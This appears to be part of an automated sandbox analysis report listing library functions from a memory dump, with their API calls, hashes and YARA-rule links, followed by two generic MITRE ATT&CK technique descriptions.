API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: f6a7d1c35578de38a8007ccb870ccb02fa445a10c2ddd90a0f7f910790715b01
Instruction ID: 6c36abbe1ab04d565708a6e37b058590c5558377572f1cc2082a34392453db18
Opcode Fuzzy Hash: f6a7d1c35578de38a8007ccb870ccb02fa445a10c2ddd90a0f7f910790715b01
Instruction Fuzzy Hash: 3021D6B2B002165FC7189E7CDD948AFB7BAFB853247250738E425D7781EA70AD0186E1

Function 6C7AB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7AB4F5
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7AB502
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7AB542
free.MOZGLUE(?), ref: 6C7AB578

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: e37163061e391a51fb934bcfa061ceecedf41fd73d53d661b45c6afc26b41c04
Instruction ID: 9e7e6ea9e1c7a693e1d398a01c8e2cf5e1338ad300d4c5b02949bd328501a40b
Opcode Fuzzy Hash: e37163061e391a51fb934bcfa061ceecedf41fd73d53d661b45c6afc26b41c04
Instruction Fuzzy Hash: 9811AE30904B46C7D3228F69C604762B3F5FFA6318F10572AE84953E01EBB0B1C6C790

Function 6C7D3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C79F20E,?), ref: 6C7D3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C79F20E,00000000,?), ref: 6C7D3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C7D3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C7D3E0E

Part of subcall function 6C7CCC00: GetCurrentProcess.KERNEL32(?,?,6C7931A7), ref: 6C7CCC0D
Part of subcall function 6C7CCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C7931A7), ref: 6C7CCC16

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 7e31d721777a08e3b23430b25204c260577d2716196ef7103dc24a9046ff3d26
Instruction ID: eb9280b5dab19eb0fc8468b6e4ad8b9f3acb3d16726ff81924d1dda2f1f36c9d
Opcode Fuzzy Hash: 7e31d721777a08e3b23430b25204c260577d2716196ef7103dc24a9046ff3d26
Instruction Fuzzy Hash: E0F01CB1A002097FEB10AB54DC86DBB376DEB46628F050035FE0857B41D635BE2A86F7

Function 6C7E2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7E205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C7E201B,?,?,?,?,?,?,?,6C7E1F8F,?,?), ref: 6C7E2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7E208E
free.MOZGLUE(?,?,?,00000000,?,6C7E201B,?,?,?,?,?,?,?,6C7E1F8F,?,?), ref: 6C7E20A3

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6d856774c32184db18cbc94e67c52dd63cd23bcdded9e3c6f8d7d193ed38385e
Instruction ID: bae8b636ad113f1e3dbf00b0b4b62b4b6b752c934b94c87831d726a3e90b7989
Opcode Fuzzy Hash: 6d856774c32184db18cbc94e67c52dd63cd23bcdded9e3c6f8d7d193ed38385e
Instruction Fuzzy Hash: 7FF0E9B21007119BC7218F16D88DB6BBBF8EF8A368F10012EF50687B10DB71A906CBD5

Function 6C7E85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C7E85D3

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C7E8725

Strings

map/set<T> too long, xrefs: 6C7E8720

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 1679eb8f07cae594f8f01abe52718704002f5bda26ddb6a66f270ae82fb8005d
Instruction ID: 98552c683fb16c409fe1725ec830e34ea0f638aff55c4e6f76d801873c8e0f7e
Opcode Fuzzy Hash: 1679eb8f07cae594f8f01abe52718704002f5bda26ddb6a66f270ae82fb8005d
Instruction Fuzzy Hash: BA516776604641CFD701CF29C288B56BBF1BF4A318F18C2AAD8595BB52C375E885CF92

Function 6C79BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C79BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C79BE8F

Strings

0, xrefs: 6C79BE5B

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 28649d1183fc345494b5b19fc8ca95ec06c896b4eecd740542ae2821061a3aab
Instruction ID: 8320a314df6afb5ee7c1d7f88aef848c2b0cf644ced70bc8e34bcd4b0fade4c9
Opcode Fuzzy Hash: 28649d1183fc345494b5b19fc8ca95ec06c896b4eecd740542ae2821061a3aab
Instruction Fuzzy Hash: 1D41A271909745CFC721CF78D581A9BB7F8AF8A348F004A2DF98557611D730E9598B82

Function 6C7D3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7D3D19
mozalloc_abort.MOZGLUE(?), ref: 6C7D3D6C

Strings

d, xrefs: 6C7D3D58

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: b196ca188054d4eb3b2eb5e098981d53deace5cb0be2aa9ab338224f8d9c6f10
Instruction ID: c4e907e6347f318030c39ac2b79d3dd756dd5934aa05430e20c7c17f813a98f4
Opcode Fuzzy Hash: b196ca188054d4eb3b2eb5e098981d53deace5cb0be2aa9ab338224f8d9c6f10
Instruction Fuzzy Hash: AF110435F046899BDB108F69C91A4EDB775EF86318F46822DEC459BA02EB30B584C790

Function 6C7A4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C7A44B2,6C81E21C,6C81F7F8), ref: 6C7A473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C7A474A

Strings

GetNtLoaderAPI, xrefs: 6C7A4744

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: a23f3a932f397e9697938e5ca56b88c7160c0d3f61cae6756bec91ade0ff097e
Instruction ID: c1ba505aea9898fce71d6d540be8da2e25dc80e503ccc02c94f787c3ad70c8d5
Opcode Fuzzy Hash: a23f3a932f397e9697938e5ca56b88c7160c0d3f61cae6756bec91ade0ff097e
Instruction Fuzzy Hash: D101CC757002558FDF209FB69999A297BF9EB8A328B044039E905C7B00CB74E802CFD1

Function 6C7F6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C7F6E22
__Init_thread_footer.LIBCMT ref: 6C7F6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C7F6E1D

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 6f1bcd50f3f006f294eb251033f9f02f04a8956d0bacf40dbfe269a2b1d9a630
Instruction ID: bf7a145418aa02747a74af6cfbeac363879f609adbf35bb22a6519cde4ae6aa6
Opcode Fuzzy Hash: 6f1bcd50f3f006f294eb251033f9f02f04a8956d0bacf40dbfe269a2b1d9a630
Instruction Fuzzy Hash: F5F0247A6092439FDA209B68CB96A8177F5633322CF040575C42847F51C721AE87DAD3

Function 6C7A9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C7A9EEF

Strings

Infinity, xrefs: 6C7A9EB7
NaN, xrefs: 6C7A9EC1

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: d21276d75f7c08e6594223bf28e88e843a59a429a1c14aa6650facb670d28455
Instruction ID: ee6a82d4a2064cc68388982c4affb5518f1c36793e0b8b53c8e04c26f9def34d
Opcode Fuzzy Hash: d21276d75f7c08e6594223bf28e88e843a59a429a1c14aa6650facb670d28455
Instruction Fuzzy Hash: CBF06DB17286438AEB208F98DA4A66073F1A33731EF100A39E50406F41D736659ACAC2

Function 6C7A6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K}l,?,6C7D4B30,80000000,?,6C7D4AB7,?,6C7943CF,?,6C7942D2), ref: 6C7A6C42

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

moz_xmalloc.MOZGLUE(0K}l,?,6C7D4B30,80000000,?,6C7D4AB7,?,6C7943CF,?,6C7942D2), ref: 6C7A6C58

Strings

0K}l, xrefs: 6C7A6C33, 6C7A6C41, 6C7A6C57

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K}l
API String ID: 1967447596-1932881748
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 21e623df4853cb0d2ece3ce7510466bd75ba9f152c08d2f318b6030035d5c982
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 36E026F1B501002A9B0898FC9E0D62A71C9DB146A97044B35E822C2BC9FA15F6828051

Function 6C7ABED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C7ABEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C7ABEF5

Strings

cryptbase.dll, xrefs: 6C7ABEF0

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: d3549697aab122897af843e4a76b0ccbb13a10bc40517ef6d84fc0168306c1d4
Instruction ID: 5701d649421dc5523f1e7866da059b3d314ad57fabd5ed07f307c5c9fdc77da6
Opcode Fuzzy Hash: d3549697aab122897af843e4a76b0ccbb13a10bc40517ef6d84fc0168306c1d4
Instruction Fuzzy Hash: B4D0C73118910DEAD7506AD08E06B2537F89741729F50C431F75994E51D7B1A451DFD4

Function 6C7EB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C7EB2C9,?,?,?,6C7EB127,?,?,?,?,?,?,?,?,?,6C7EAE52), ref: 6C7EB628

Part of subcall function 6C7E90E0: free.MOZGLUE(?,00000000,?,?,6C7EDEDB), ref: 6C7E90FF
Part of subcall function 6C7E90E0: free.MOZGLUE(?,00000000,?,?,6C7EDEDB), ref: 6C7E9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C7EB2C9,?,?,?,6C7EB127,?,?,?,?,?,?,?,?,?,6C7EAE52), ref: 6C7EB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C7EB2C9,?,?,?,6C7EB127,?,?,?,?,?,?,?,?,?,6C7EAE52), ref: 6C7EB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C7EB127,?,?,?,?,?,?,?,?), ref: 6C7EB74D

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 85cc2fac8653a88f35c25af0dea46d35618715afdad17616c6716b76b48e5449
Instruction ID: 06b176ab248f2de27257ac174a02d7d65cb5bde167af061866928caaf60e2339
Opcode Fuzzy Hash: 85cc2fac8653a88f35c25af0dea46d35618715afdad17616c6716b76b48e5449
Instruction Fuzzy Hash: CC51CFB2A053168FDB14CF29CA8465EBBB1FF49304F45853AC85AABB01D731B804CBA5

Function 6C7EDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C7DFF2A), ref: 6C7EDFFD

Part of subcall function 6C7E90E0: free.MOZGLUE(?,00000000,?,?,6C7EDEDB), ref: 6C7E90FF
Part of subcall function 6C7E90E0: free.MOZGLUE(?,00000000,?,?,6C7EDEDB), ref: 6C7E9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C7DFF2A), ref: 6C7EE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C7DFF2A), ref: 6C7EE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C7DFF2A), ref: 6C7EE0FE

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 7ce3d10eb40552e98744ac501dd91c00fd52d006b0c352a05b7542d37ef162a7
Instruction ID: fb81f388440e11d064b6c83c1e60f3e38f39016355f7cbd2648c092b1569b731
Opcode Fuzzy Hash: 7ce3d10eb40552e98744ac501dd91c00fd52d006b0c352a05b7542d37ef162a7
Instruction Fuzzy Hash: 0441B4B260421A8FEB24CF68DA8035E77B6BB49308F244D39D556DBB41E731E944CBD2

Function 6C7E6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C7E6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C7E6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C7E6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7E6F5C

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 9091e74545259323db3e171e461f072c0db0efd4a0e3c36a8ddf3b7c107d9032
Instruction ID: b4de1298b405317f7ed06e7b856cfea8c923b8657c05456c64c3ed34ae4b50c0
Opcode Fuzzy Hash: 9091e74545259323db3e171e461f072c0db0efd4a0e3c36a8ddf3b7c107d9032
Instruction Fuzzy Hash: 2631F872A1060A8FDB14CF2CCE416AA73E9FB88304F50453DD51AC7651EF31E659C790

Function 6C7FB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C7A0A4D), ref: 6C7FB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C7A0A4D), ref: 6C7FB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C7A0A4D), ref: 6C7FB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C7A0A4D), ref: 6C7FB67F

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 377cded6b28bf30d628056c00f74c62193e25535573d55b1d50c4301a3a6a30b
Instruction ID: 2999d3e7f395c84de7e15816ae740069885ae2363873547e5a73795175df2aba
Opcode Fuzzy Hash: 377cded6b28bf30d628056c00f74c62193e25535573d55b1d50c4301a3a6a30b
Instruction Fuzzy Hash: BA31A571A012168FDB10DF68C98465EBBF5EF81318F168579C8169B702DB31F916CBE1

Function 6C7CF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C7CF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C7CF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C7CF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C7CF668

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 9c11dcfda8cf107177ef5dff9a497f01d021e19d08495ebc3f736db5415bf72f
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: DC314F71B00215AFC724CF5DDDC0A9B77B5EB88354B14893DFA498BB05D631F9448BA1

Function 6C7E26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7E26C1
free.MOZGLUE(?), ref: 6C7E26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7E26FF
free.MOZGLUE ref: 6C7E270D

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 433cbd4fd75e30d8b1943edf031636dbf15c1970c80025c5a12c93c93c6a5a2c
Instruction ID: e589085c12d294380447e93e2c6c0057b98d112cc2d28e3e3ca83ff2647b567d
Opcode Fuzzy Hash: 433cbd4fd75e30d8b1943edf031636dbf15c1970c80025c5a12c93c93c6a5a2c
Instruction Fuzzy Hash: BEF0F9B37012025BE7109E18ED8894773ADEF4521CB100135EA16D7F02E331F918C691

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
